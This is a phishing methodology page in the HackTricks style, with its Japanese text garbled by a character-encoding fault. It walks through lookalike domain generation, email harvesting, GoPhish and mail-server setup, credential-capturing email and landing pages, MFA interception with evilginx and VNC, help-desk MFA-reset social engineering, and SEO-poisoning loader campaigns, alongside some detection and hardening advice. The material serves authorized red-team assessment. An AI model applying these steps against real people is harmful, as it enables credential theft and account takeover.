Phishing ææ³
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
æ¹æ³è«
- 察象ã®Reconã宿œ
- æ»æå¯Ÿè±¡ã®victim domainãéžæããã
- æ»æå¯Ÿè±¡ã䜿çšããåºæ¬çãªwebåæãè¡ããlogin portalsãæ€çŽ¢ããŠã©ã®ããŒã¿ã«ãåœè£ ãããæ±ºå®ããã
- OSINTã䜿çšããŠã¡ãŒã«ãèŠã€ããã
- ç°å¢ãæºå
- ãã£ãã·ã³ã°è©äŸ¡ã§äœ¿çšãããã¡ã€ã³ãè³Œå ¥ãã
- ã¡ãŒã«ãµãŒãã¹é¢é£ã®ã¬ã³ãŒããèšå®ãã (SPF, DMARC, DKIM, rDNS)
- VPSã«gophishãèšå®ãã
- ãã£ã³ããŒã³ãæºå
- ã¡ãŒã«ãã³ãã¬ãŒããæºåãã
- è³æ Œæ å ±ãçãããã®webããŒãžãæºåãã
- ãã£ã³ããŒã³ãéå§ïŒ
Generate similar domain names or buy a trusted domain
Domain Name Variation Techniques
- Keyword: å ã®ãã¡ã€ã³ã®éèŠãªããŒã¯ãŒããå«ããã¡ã€ã³åïŒäŸ: zelster.com-management.comïŒã
- hypened subdomain: ãµããã¡ã€ã³ã®ãããããã€ãã³ã«å€æŽïŒäŸ: www-zelster.comïŒã
- New TLD: åããã¡ã€ã³ã§æ°ããTLDã䜿ãïŒäŸ: zelster.orgïŒ
- Homoglyph: ãã¡ã€ã³å ã®æåãèŠãç®ã䌌ãŠããæåã«çœ®ãæããïŒäŸ: zelfser.comïŒ
- Transposition: ãã¡ã€ã³åå ã®2æåãå ¥ãæ¿ããïŒäŸ: zelsetr.comïŒã
- Singularization/Pluralization: ãã¡ã€ã³åã®æ«å°Ÿã«ãsãã远å ãŸãã¯åé€ïŒäŸ: zeltsers.comïŒã
- Omission: ãã¡ã€ã³åãã1æåãåé€ããïŒäŸ: zelser.comïŒã
- Repetition: ãã¡ã€ã³åã®1æåãç¹°ãè¿ãïŒäŸ: zeltsser.comïŒã
- Replacement: homoglyphã«äŒŒããã¹ãã«ã¹æ§ã¯äœãããã¡ã€ã³å ã®1æåããå ã®æåã«è¿ãããŒããŒãäžã®æåãªã©ã§çœ®ãæããïŒäŸ: zektser.comïŒã
- Subdomained: ãã¡ã€ã³åã®äžã«ããããæ¿å ¥ããïŒäŸ: ze.lster.comïŒã
- Insertion: ãã¡ã€ã³åã«1æåãæ¿å ¥ããïŒäŸ: zerltser.comïŒã
- Missing dot: TLDããã¡ã€ã³åã«è¿œå ããïŒäŸ: zelstercom.comïŒ
Automatic Tools
Websites
- https://dnstwist.it/
- https://dnstwister.report/
- https://www.internetmarketingninjas.com/tools/free-tools/domain-typo-generator/
Bitflipping
倪éœãã¬ã¢ãå®å®ç·ãããŒããŠã§ã¢ã®ãšã©ãŒãªã©ã®èŠå ã«ãããä¿åäžãŸãã¯éä¿¡äžã®ããããèªåçã«å転ããå¯èœæ§ããããŸãã
ãã®æŠå¿µãDNSèŠæ±ã«é©çšãããšãDNSãµãŒããŒãåãåããã¡ã€ã³ãæåã«èŠæ±ãããã¡ã€ã³ãšç°ãªãå¯èœæ§ããããŸãã
äŸãã°ããã¡ã€ã³ âwindows.comâ ã®åäžãããã®å€æŽã«ãã âwindnws.comâ ã«å€ããããšããããŸãã
æ»æè ã¯ãããå©çšããŠã被害è ã®ãã¡ã€ã³ã«é¡äŒŒããè€æ°ã®bit-flippingãã¡ã€ã³ãç»é²ããæ£åœãªãŠãŒã¶ãèªåãã¡ã®ã€ã³ãã©ãžãªãã€ã¬ã¯ãããããšããå ŽåããããŸãã
詳现㯠https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/ ãåç §ããŠãã ããã
Buy a trusted domain
䜿çšå¯èœãªexpired domainã https://www.expireddomains.net/ ã§æ€çŽ¢ã§ããŸãã
賌å
¥ããexpired domainãæ¢ã«è¯å¥œãªSEOãæã£ãŠããã確èªããããã«ã¯ã以äžã§ãã®ã«ããŽãªã確èªã§ããŸã:
Discovering Emails
- https://github.com/laramies/theHarvester (100% free)
- https://phonebook.cz/ (100% free)
- https://maildb.io/
- https://hunter.io/
- https://anymailfinder.com/
ããå€ãã®æå¹ãªã¡ãŒã«ã¢ãã¬ã¹ãçºèŠããããæ¢ã«çºèŠãããã®ãæ€èšŒããããã«ãæ»æå¯Ÿè±¡ã®SMTPãµãŒããŒã«å¯ŸããŠusername brute-forceãå¯èœã確èªã§ããŸããLearn how to verify/discover email address here.
ããã«ããŠãŒã¶ãã¡ãŒã«ã«ã¢ã¯ã»ã¹ããããã®ä»»æã®web portalã䜿çšããŠããå Žåããã®ããŒã¿ã«ãusername brute forceã«å¯ŸããŠè匱ãã©ããã確èªããå¯èœã§ããã°è匱æ§ãæªçšããããšãå¿ããªãã§ãã ããã
Configuring GoPhish
Installation
You can download it from https://github.com/gophish/gophish/releases/tag/v0.11.0
/opt/gophish ã«ããŠã³ããŒãããŠè§£åãã/opt/gophish/gophish ãå®è¡ããŠãã ããã
å®è¡ãããšåºåã«ããŒã3333çšã®ç®¡çè
ãŠãŒã¶ãŒã®ãã¹ã¯ãŒãã衚瀺ãããŸãããããã£ãŠããã®ããŒãã«ã¢ã¯ã»ã¹ããŠè¡šç€ºãããè³æ Œæ
å ±ã§ç®¡çè
ãã¹ã¯ãŒãã倿ŽããŠãã ãããå¿
èŠã«å¿ããŠãã®ããŒããããŒã«ã«ã«ãã³ãã«ããå¿
èŠããããŸã:
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
èšå®
TLSèšŒææžã®æ§æ
ãã®æé ã«é²ãåã«ã䜿çšãããã¡ã€ã³ãæ¢ã«è³Œå ¥ããŠããå¿ èŠãããããŸããã®ãã¡ã€ã³ãæããŠããå ã¯ãVPSã®IPã§ããããããgophishãæ§æããŠããå Žæã§ããå¿ èŠããããŸãã
DOMAIN="<domain>"
wget https://dl.eff.org/certbot-auto
chmod +x certbot-auto
sudo apt install snapd
sudo snap install core
sudo snap refresh core
sudo apt-get remove certbot
sudo snap install --classic certbot
sudo ln -s /snap/bin/certbot /usr/bin/certbot
certbot certonly --standalone -d "$DOMAIN"
mkdir /opt/gophish/ssl_keys
cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem
cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crtâ
ã¡ãŒã«èšå®
ã€ã³ã¹ããŒã«ãéå§ïŒ apt-get install postfix
次ã«ããã¡ã€ã³ã以äžã®ãã¡ã€ã«ã«è¿œå ããŸãïŒ
- /etc/postfix/virtual_domains
- /etc/postfix/transport
- /etc/postfix/virtual_regexp
/etc/postfix/main.cf å ã®æ¬¡ã®å€æ°ã®å€ã倿ŽããŠãã ãã
myhostname = <domain>mydestination = $myhostname, <domain>, localhost.com, localhost
æåŸã«ããã¡ã€ã« /etc/hostname ãš /etc/mailname ãããªãã®ãã¡ã€ã³åã«å€æŽããVPS ãåèµ·åããŠãã ããã
次ã«ãVPS ã® IP ã¢ãã¬ã¹ ãæã mail.<domain> ã® DNS A record ãäœæããmail.<domain> ãæã DNS MX ã¬ã³ãŒããäœæããŸãã
ã§ã¯ãã¡ãŒã«éä¿¡ã®ãã¹ããè¡ããŸãïŒ
apt install mailutils
echo "This is the body of the email" | mail -s "This is the subject line" test@email.com
Gophishã®èšå®
gophish ã®å®è¡ã忢ããŠèšå®ããŸãããã/opt/gophish/config.json ãæ¬¡ã®ããã«å€æŽããŸãïŒhttps ã®äœ¿çšã«æ³šæïŒïŒ
{
"admin_server": {
"listen_url": "127.0.0.1:3333",
"use_tls": true,
"cert_path": "gophish_admin.crt",
"key_path": "gophish_admin.key"
},
"phish_server": {
"listen_url": "0.0.0.0:443",
"use_tls": true,
"cert_path": "/opt/gophish/ssl_keys/key.crt",
"key_path": "/opt/gophish/ssl_keys/key.pem"
},
"db_name": "sqlite3",
"db_path": "gophish.db",
"migrations_prefix": "db/db_",
"contact_address": "",
"logging": {
"filename": "",
"level": ""
}
}
gophish ãµãŒãã¹ã®èšå®
gophish ãµãŒãã¹ãèªåèµ·åããµãŒãã¹ãšããŠç®¡çã§ããããã«ããã«ã¯ã次ã®å
容㧠/etc/init.d/gophish ãã¡ã€ã«ãäœæããŠãã ãã:
#!/bin/bash
# /etc/init.d/gophish
# initialization file for stop/start of gophish application server
#
# chkconfig: - 64 36
# description: stops/starts gophish application server
# processname:gophish
# config:/opt/gophish/config.json
# From https://github.com/gophish/gophish/issues/586
# define script variables
processName=Gophish
process=gophish
appDirectory=/opt/gophish
logfile=/var/log/gophish/gophish.log
errfile=/var/log/gophish/gophish.error
start() {
echo 'Starting '${processName}'...'
cd ${appDirectory}
nohup ./$process >>$logfile 2>>$errfile &
sleep 1
}
stop() {
echo 'Stopping '${processName}'...'
pid=$(/bin/pidof ${process})
kill ${pid}
sleep 1
}
status() {
pid=$(/bin/pidof ${process})
if [["$pid" != ""| "$pid" != "" ]]; then
echo ${processName}' is running...'
else
echo ${processName}' is not running...'
fi
}
case $1 in
start|stop|status) "$1" ;;
esac
ãµãŒãã¹ã®èšå®ãå®äºãã以äžã®æ¹æ³ã§åäœç¢ºèªãè¡ã£ãŠãã ãã:
mkdir /var/log/gophish
chmod +x /etc/init.d/gophish
update-rc.d gophish defaults
#Check the service
service gophish start
service gophish status
ss -l | grep "3333\|443"
service gophish stop
ã¡ãŒã«ãµãŒããŒãšãã¡ã€ã³ã®èšå®
åŸ ã€ & ä¿¡é Œæ§ãä¿ã€
ãã¡ã€ã³ãå€ãã»ã©ãã¹ãã ãšããŠæ€åºãããå¯èœæ§ã¯äœããªããŸãããããã£ãŠãphishing assessment ãè¡ãåã«ã§ããã ãé·ãïŒå°ãªããšã1é±éïŒåŸ ã€ã¹ãã§ããããã«ãè©å€ã«é¢ããããŒãžãçšæãããšãåŸãããè©äŸ¡ã¯è¯ããªããŸãã
ãã ãã1é±éåŸ ã€å¿ èŠããã£ãŠããä»ããã«ãã¹ãŠã®èšå®ãå®äºã§ããŸãã
Configure Reverse DNS (rDNS) record
VPSã®IPã¢ãã¬ã¹ããã¡ã€ã³åã«è§£æ±ºãããããã«ãrDNSïŒPTRïŒã¬ã³ãŒããèšå®ããŠãã ããã
Sender Policy Framework (SPF) Record
æ°ãããã¡ã€ã³ã«å¯ŸããŠSPF ã¬ã³ãŒããèšå®ããå¿ èŠããããŸããSPF ã¬ã³ãŒããäœãããããªãå Žåã¯read this pageã
SPFããªã·ãŒãçæããã«ã¯https://www.spfwizard.net/ã䜿çšããŠãã ããïŒVPSãã·ã³ã®IPã䜿çšïŒã
.png)
ããã¯ãã¡ã€ã³å ã®TXTã¬ã³ãŒãã«èšå®ããå¿ èŠãããå 容ã§ã:
v=spf1 mx a ip4:ip.ip.ip.ip ?all
ãã¡ã€ã³ããŒã¹ã®ã¡ãã»ãŒãžèªèšŒãã¬ããŒãããã³é©å (DMARC) ã¬ã³ãŒã
æ°ãããã¡ã€ã³ã«å¯ŸããŠDMARCã¬ã³ãŒããèšå®ããå¿ èŠããããŸããDMARCã¬ã³ãŒããäœãããããªãå Žåã¯ããã®ããŒãžãèªãã§ãã ããã
ãã¹ãå _dmarc.<domain> ãæãæ°ãã DNS TXT ã¬ã³ãŒãã以äžã®å
容ã§äœæããŠãã ããïŒ
v=DMARC1; p=none
DomainKeys Identified Mail (DKIM)
æ°ãããã¡ã€ã³ã«å¯Ÿã㊠DKIM ãèšå®ããå¿ èŠããããŸããDMARC ã¬ã³ãŒããäœãããããªãå Žå㯠read this pageã
This tutorial is based on: https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy
Tip
DKIM ããŒãçæããäž¡æ¹ã® B64 å€ãé£çµããå¿ èŠããããŸã:
v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB
Test your email configuration score
次ã®ãµã€ãã䜿ã£ãŠè¡ããŸã: https://www.mail-tester.com/\ ããŒãžã«ã¢ã¯ã»ã¹ããŠã衚瀺ãããã¢ãã¬ã¹ã«ã¡ãŒã«ãéä¿¡ããŠãã ãã:
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
ã¡ãŒã«èšå®ã確èªããã«ã¯ãcheck-auth@verifier.port25.com ã«ã¡ãŒã«ãéä¿¡ããå¿çãèªãããšãã§ããŸãïŒãã®ããã«ã¯ port 25 ãéæŸããroot ãšããŠã¡ãŒã«ãéä¿¡ããå Žåã¯ãã¡ã€ã« /var/mail/root ã§å¿çã確èªããå¿
èŠããããŸãïŒã
ãã¹ãŠã®ãã¹ãã«åæ ŒããŠããããšã確èªããŠãã ãã:
==========================================================
Summary of Results
==========================================================
SPF check: pass
DomainKeys check: neutral
DKIM check: pass
Sender-ID check: pass
SpamAssassin check: ham
èªåã管çããŠããGmailã«ã¡ãã»ãŒãžãéä¿¡ããGmailã®åä¿¡ãã¬ã€ã§ã¡ãŒã«ã®ããããŒã確èªãããšãAuthentication-ResultsããããŒãã£ãŒã«ãã«dkim=passãå«ãŸããŠããã¯ãã§ãã
Authentication-Results: mx.google.com;
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
dkim=pass header.i=@example.com;
Spamhouse Blacklist ããã®åé€
ããŒãž www.mail-tester.com ã§ãããªãã®ãã¡ã€ã³ã spamhouse ã«ãããããã¯ãããŠãããã©ããã確èªã§ããŸãããã¡ã€ã³/IP ã®åé€ã¯æ¬¡ã§ãªã¯ãšã¹ãã§ããŸã: âhttps://www.spamhaus.org/lookup/
Microsoft Blacklist ããã®åé€
ãã¡ã€ã³/IP ã®åé€ã¯ https://sender.office.com/ ã§ãªã¯ãšã¹ãã§ããŸãã
GoPhishãã£ã³ããŒã³ã®äœæãšéå§
éä¿¡ãããã¡ã€ã«
- éä¿¡ãããã¡ã€ã«ãèå¥ããããã®ååãèšå®ãã
- ã©ã®ã¢ã«ãŠã³ãããphishingã¡ãŒã«ãéãããæ±ºãããäŸ: noreply, support, servicedesk, salesforceâŠ
- ãŠãŒã¶ãŒåãšãã¹ã¯ãŒãã¯ç©ºæ¬ã®ãŸãŸã«ããŠãããããå¿ ã Ignore Certificate Errors ã«ãã§ãã¯ãå ¥ããããš
 (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png)
Tip
åäœç¢ºèªã«ã¯Send Test Emailæ©èœã䜿ãããšãæšå¥šããŸãã
ãã¹ãéä¿¡ã¯ãã©ãã¯ãªã¹ãç»é²ãé¿ããããã«ã10min mails ã®ã¢ãã¬ã¹ã«éãããšãããããããŸãã
ã¡ãŒã«ãã³ãã¬ãŒã
- ãã³ãã¬ãŒããèå¥ããããã®ååãèšå®ãã
- 次ã«subjectãæžããŸãïŒäžèªç¶ã§ãªããéåžžã®ã¡ãŒã«ã§èŠããããããªä»¶åã«ããïŒ
- å¿ ãAdd Tracking Imageã«ãã§ãã¯ãå ¥ããããš
- ã¡ãŒã«ãã³ãã¬ãŒããæžããŸãïŒä»¥äžã®äŸã®ããã«å€æ°ã䜿ããŸãïŒ:
<html>
<head>
<title></title>
</head>
<body>
<p class="MsoNormal"><span style="font-size:10.0pt;font-family:"Verdana",sans-serif;color:black">Dear {{.FirstName}} {{.LastName}},</span></p>
<br />
Note: We require all user to login an a very suspicios page before the end of the week, thanks!<br />
<br />
Regards,</span></p>
WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
<p>{{.Tracker}}</p>
</body>
</html>
Note that in order to increase the credibility of the email, itâs recommended to use some signature from an email from the client. Suggestions:
- Send an email to a non existent address and check if the response has any signature.
- Search for public emails like info@ex.com or press@ex.com or public@ex.com and send them an email and wait for the response.
- Try to contact some valid discovered email and wait for the response
.png)
Tip
Email Template 㯠添ä»ãã¡ã€ã«ãéä¿¡ããããšãå¯èœã§ããNTLM challenge ãçªåãããããªç¹å¥ã«çް工ãããã¡ã€ã«/ããã¥ã¡ã³ãã䜿ãããå Žåã¯ããã®ããŒãžãèªãã
Landing Page
- ååãå ¥å
- ãŠã§ãããŒãžã® HTML ã³ãŒããæžãããŠã§ãããŒãžã import ã§ããç¹ã«æ³šæããŠãã ããã
- Capture Submitted Data ãš Capture Passwords ã«ãã§ãã¯ãå ¥ãã
- ãªãã€ã¬ã¯ã ãèšå®ãã
.png)
Tip
å€ãã®å ŽåãHTML ã³ãŒããä¿®æ£ããŠããŒã«ã«ã§ïŒApache ãªã©ã䜿ã£ãŠïŒãã¹ããç¹°ãè¿ããæºè¶³ããçµæãåºããŸã§èª¿æŽããå¿ èŠããããŸããæºè¶³ããããã® HTML ã³ãŒããããã¯ã¹ã«æžã蟌ã¿ãŸãã
HTML ã«äœ¿çšãã éçãªãœãŒã¹ïŒCSS ã JS ãªã©ïŒãå¿ èŠãªå Žåã¯ããããã /opt/gophish/static/endpoint ã«ä¿åããŠãã /static/<filename> ã§åç §ã§ããŸãã
Tip
ãªãã€ã¬ã¯ãå ãšããŠã¯è¢«å®³è ã®æ£èŠã®ã¡ã€ã³ããŒãžã« ãªãã€ã¬ã¯ã ããããäŸãã° /static/migration.html ã«é£ã°ã㊠5 ç§éã®ã¹ããã³ã°ãã€ãŒã«ïŒhttps://loading.io/ïŒã衚瀺ããåŸã«åŠçãæåãããšè¡šç€ºãã ãšãã£ãæ¹æ³ã䜿ããŸãã
Users & Groups
- ååãèšå®
- Import the dataïŒãã³ãã¬ãŒããå©çšããäŸã§ã¯ãåãŠãŒã¶ãŒã® firstname, last name and email address ãå¿ èŠã«ãªãç¹ã«æ³šæïŒ
.png)
Campaign
æåŸã«ãååãemail templateãlanding pageãURLãSending Profileãgroup ãéžæããŠãã£ã³ããŒã³ãäœæããŸããURL ã¯è¢«å®³è ã«éããããªã³ã¯ã«ãªããŸãã
Sending Profile ã¯æçµçãªãã£ãã·ã³ã°ã¡ãŒã«ãã©ã®ããã«èŠãããã確èªããããã« ãã¹ãã¡ãŒã«ãéã ããšãå¯èœã«ããŸã:
.png)
Tip
ãã¹ããè¡ãéã¯ãã©ãã¯ãªã¹ãç»é²ãé¿ããããã« 10min mails ã®ã¢ãã¬ã¹ã«éãããšãããããããŸãã
ãã¹ãŠæºåãã§ãããããã£ã³ããŒã³ãéå§ããŠãã ããïŒ
Website Cloning
äœããã®çç±ã§ãŠã§ããµã€ããã¯ããŒã³ãããå Žåã¯ã次ã®ããŒãžã確èªããŠãã ããïŒ
Backdoored Documents & Files
äžéšã®ãã£ãã·ã³ã°è©äŸ¡ïŒäž»ã« Red TeamsïŒã§ã¯ãããã¯ãã¢ãå«ããã¡ã€ã«ïŒC2 ãä»èŸŒããã®ãèªèšŒãããªã¬ãŒããã ãã®ãã®ïŒãéä¿¡ãããå ŽåããããŸããäŸã«ã€ããŠã¯æ¬¡ã®ããŒãžãåç §ããŠãã ããïŒ
Phishing MFA
Via Proxy MitM
åè¿°ã®æ»æã¯ãå®éã®ãŠã§ããµã€ããåœè£ ããŠãŠãŒã¶ãŒãå ¥åããæ å ±ãåéãããšããç¹ã§éåžžã«å·§åŠã§ãããã ãããŠãŒã¶ãŒãæ£ãããã¹ã¯ãŒããå ¥åããªãã£ãå Žåããããªããåœè£ ããã¢ããªã±ãŒã·ã§ã³ã 2FA ã«ãã£ãŠä¿è·ãããŠããå Žåããã®æ å ±ã ãã§ã¯ã ãŸããããŠãŒã¶ãŒã«ãªãããŸãããšã¯ã§ããŸããã
ããã§ evilginx2ãCredSniper**ãããã³ muraena ã®ãããªããŒã«ã圹ç«ã¡ãŸãããããã®ããŒã«ã¯ MitM åã®æ»æãå®çŸããŸããåºæ¬çãªæµãã¯æ¬¡ã®ãšããã§ãïŒ
- å®éã®ãŠã§ãããŒãžã®ãã°ã€ã³ãã©ãŒã ãåœè£ ããã
- ãŠãŒã¶ãŒãåœããŒãžã«credentialsãéä¿¡ãããšããã®æ å ±ãããŒã«ãå®éã®ãŠã§ãããŒãžã«è»¢éããè³æ Œæ å ±ãæå¹ã確èªããã
- ã¢ã«ãŠã³ãã 2FA ãèŠæ±ããå ŽåãMitM ããŒãžã¯ãããå°ãããŠãŒã¶ãŒãå ¥åãããšããŒã«ã¯ãããå®éã®ããŒãžã«éä¿¡ããã
- ãŠãŒã¶ãŒãèªèšŒããããšãæ»æè ã¯credentialsã2FAãcookieããã®ä»ã®ããããããåãã®æ å ±ãååŸã§ããïŒããŒã«ã MitM ãå®è¡ããŠããéã®ãã¹ãŠã®ã€ã³ã¿ã©ã¯ã·ã§ã³ã察象ïŒã
Via VNC
被害è
ãå
ã®ããŒãžãšåãèŠãç®ã®æªæããããŒãžã«èªå°ãã代ããã«ããã©ãŠã¶ãå®éã®ãŠã§ãããŒãžã«æ¥ç¶ããã VNC ã»ãã·ã§ã³ã«èªå°ãããã©ããªãã§ããããïŒè¢«å®³è
ã®æäœããªã¢ã«ã¿ã€ã ã§èгå¯ãããã¹ã¯ãŒããMFAãcookie ãªã©ãçãããšãã§ããŸãã
ããã«ã¯ EvilnVNC ãå©çšã§ããŸãã
Detecting the detection
çºèŠãããã©ãããç¥ãæè¯ã®æ¹æ³ã®äžã€ã¯ãèªåã®ãã¡ã€ã³ããã©ãã¯ãªã¹ãã«èŒã£ãŠããªããæ€çŽ¢ããããšã§ãããªã¹ãã«èŒã£ãŠããã°ãäœããã®æ¹æ³ã§ããªãã®ãã¡ã€ã³ãçããããã®ãšããŠæ€åºãããŠããŸãã
ç°¡åã«ãã©ãã¯ãªã¹ãæ²èŒã®æç¡ã確èªããæ¹æ³ã®äžã€ã¯ https://malwareworld.com/ ã䜿ãããšã§ãã
ãã ãã被害è ã ç©æ¥µçã«çããããã£ãã·ã³ã°æŽ»åãç£èŠããŠããã ãç¥ãä»ã®æ¹æ³ããããŸãã詳ããã¯æ¬¡ãåç §ããŠãã ããïŒ
被害è ã®ãã¡ã€ã³ãšéåžžã«äŒŒãååã®ãã¡ã€ã³ãè³Œå ¥ããããããªãã管çãããã¡ã€ã³ã® ãµããã¡ã€ã³ ã«å¯ŸããŠè¢«å®³è ã®ãã¡ã€ã³ã® ããŒã¯ãŒããå«ãèšŒææž ãçæãããããããšãã§ããŸãã被害è ããããã«å¯ŸããŠãããªã DNS ã HTTP ã®çžäºäœçšãè¡ã£ãå Žåã被害è ãç©æ¥µçã«çããããã¡ã€ã³ãç£èŠããŠããããšãåããããã®å Žåã¯éåžžã«ã¹ãã«ã¹ã«è¡åããå¿ èŠããããŸãã
Evaluate the phishing
ã¡ãŒã«ãã¹ãã ãã©ã«ãã«å ¥ããããããã¯ãããããæåããããè©äŸ¡ããã«ã¯ Phishious ã䜿çšããŠãã ããã
High-Touch Identity Compromise (Help-Desk MFA Reset)
è¿å¹Žã®äŸµå®³æŽ»åã§ã¯ããã£ãã·ã³ã°ã«ããã¡ãŒã«èªå°ãå®å šã«çç¥ãããµãŒãã¹ãã¹ã¯ïŒã¢ã€ãã³ãã£ãã£å埩ã¯ãŒã¯ãããŒãçŽæ¥çã£ãŠ MFA ãåé¿ããææ³ãå¢ããŠããŸããæ»æã¯å®å šã« living-off-the-landïŒãªãã¬ãŒã¿ãæå¹ãªè³æ Œæ å ±ãååŸãããšãçµã¿èŸŒã¿ã®ç®¡çããŒã«ã§ãããããããã«ãŠã§ã¢ã¯äžèŠã§ãã
Attack flow
- Recon the victim
- LinkedInãæµåºããŒã¿ãå ¬é GitHub ãªã©ããå人æ å ±ã»ç€Ÿå æ å ±ãåéã
- éèŠãªã¢ã€ãã³ãã£ãã£ïŒåœ¹å¡ãITã財åãªã©ïŒãç¹å®ãããã¹ã¯ãŒãïŒMFA ãªã»ããã®æ£ç¢ºãªãã«ããã¹ã¯æé ãåæã
- Real-time social engineering
- ã¿ãŒã²ããã«ãªãããŸããŠãã«ããã¹ã¯ã«é»è©±ãTeamsããã£ããã§æ¥è§ŠïŒãã°ãã° spoofed caller-ID ã cloned voice ã䜿çšïŒã
- åéãã PII ãæç€ºããŠç¥èããŒã¹ã®æ€èšŒãééãããã
- ãšãŒãžã§ã³ãã説åŸã㊠MFA ã·ãŒã¯ã¬ããããªã»ãã ãããããç»é²ãããæºåž¯çªå·ã«å¯Ÿãã SIM-swap ãå®è¡ãããã
- Immediate post-access actions (â€60 min in real cases)
- ä»»æã® web SSO ããŒã¿ã«ãéããŠè¶³æããã確ç«ã
- çµã¿èŸŒã¿ããŒã«ã§ AD / AzureAD ãåæïŒãã€ããªãèœãšããªãïŒïŒ
# list directory groups & privileged roles
Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME}
# AzureAD / Graph â list directory roles
Get-MgDirectoryRole | ft DisplayName,Id
# Enumerate devices the account can login to
Get-MgUserRegisteredDevice -UserId <user@corp.local>
- WMIãPsExecããŸãã¯æ¢ã«ç°å¢å ã§ãã¯ã€ããªã¹ããããŠããæ£èŠã® RMM ãšãŒãžã§ã³ãã䜿ã£ãŠæšªç§»åã
Detection & Mitigation
- ãã«ããã¹ã¯ã®ã¢ã€ãã³ãã£ãã£å埩ã ç¹æš©æäœ ãšæ±ããã¹ãããã¢ããèªèšŒãšãããŒãžã£æ¿èªãèŠæ±ããã
- Identity Threat Detection & Response (ITDR) / UEBA ã«ãŒã«ãå°å
¥ãã以äžãã¢ã©ãŒãããïŒ
- MFA æ¹æ³ã®å€æŽ + æ°ããããã€ã¹ïŒãžãªããã®èªèšŒã
- åäžããªã³ã·ãã«ã®å³æã®æš©éææ ŒïŒuser â adminïŒã
- ãã«ããã¹ã¯é話ãé²é³ãããªã»ããåã« æ¢ã«ç»é²ãããçªå·ãžã®ã³ãŒã«ãã㯠ã矩åä»ããã
- Just-In-Time (JIT) / Privileged Access ãå®è£ ãããªã»ãããããã°ããã®ã¢ã«ãŠã³ããèªåçã«é«æš©éããŒã¯ã³ãç¶æ¿ããªãããã«ããã
At-Scale Deception â SEO Poisoning & âClickFixâ Campaigns
ã³ã¢ãã£ãã£ãªã¯ã«ãŒã¯ããã€ã¿ããäœæŠã®ã³ã¹ããåãããããæ€çŽ¢ãšã³ãžã³ãåºåãããã¯ãŒã¯ãé ä¿¡ãã£ãã«ã«å€ããå€§èŠæš¡æ»æãè¡ããŸãã
- SEO poisoning / malvertising ã
chromium-update[.]siteã®ãããªåœã®çµæãæ€çŽ¢åºåã®äžäœã«æŒãäžããã - 被害è ã¯å°ã㪠first-stage loaderïŒå€ã㯠JS/HTA/ISOïŒãããŠã³ããŒããããUnit 42 ã確èªããäŸïŒ
RedLine stealerLumma stealerLampion Trojan
- Loader ã¯ãã©ãŠã¶ cookie ã credential DB ã exfil ããæ¬¡ã« silent loader ãååŸããŠããªã¢ã«ã¿ã€ã ã§å±éãããã®ã決å®ããïŒ
- RATïŒäŸïŒAsyncRATãRustDeskïŒ
- ã©ã³ãµã ãŠã§ã¢ / wiper
- æ°žç¶åã³ã³ããŒãã³ãïŒã¬ãžã¹ããªã® Run ã㌠+ ã¹ã±ãžã¥ãŒã«ã¿ã¹ã¯ïŒ
Hardening tips
- æ°èŠç»é²ãã¡ã€ã³ããããã¯ããæ€çŽ¢åºåã ãã§ãªãã¡ãŒã«ã«å¯ŸããŠã Advanced DNS / URL Filtering ãé©çšããã
- ãœãããŠã§ã¢ã®ã€ã³ã¹ããŒã«ã眲åããã MSI / ã¹ãã¢ããã±ãŒãžã«å¶éãã
HTAãISOãVBSã®å®è¡ãããªã·ãŒã§æåŠããã - ãã©ãŠã¶ã®åããã»ã¹ãã€ã³ã¹ããŒã©ãéãæåãç£èŠããïŒ
- parent_image: /Program Files/Google/Chrome/*
and child_image: *\\*.exe
- first-stage loader ã«ããæªçšããã LOLBinsïŒäŸïŒ
regsvr32ãcurlãmshtaïŒããã³ãããã
AI-Enhanced Phishing Operations
æ»æè ã¯ä»ã LLM & voice-clone API ãé£çµããŠãå®å šã«ããŒãœãã©ã€ãºãããèªãæå¥ãšãªã¢ã«ã¿ã€ã ã®ããåããå®çŸããŠããŸãã
| Layer | Example use by threat actor |
|---|---|
| Automation | Generate & send >100 k emails / SMS with randomised wording & tracking links. |
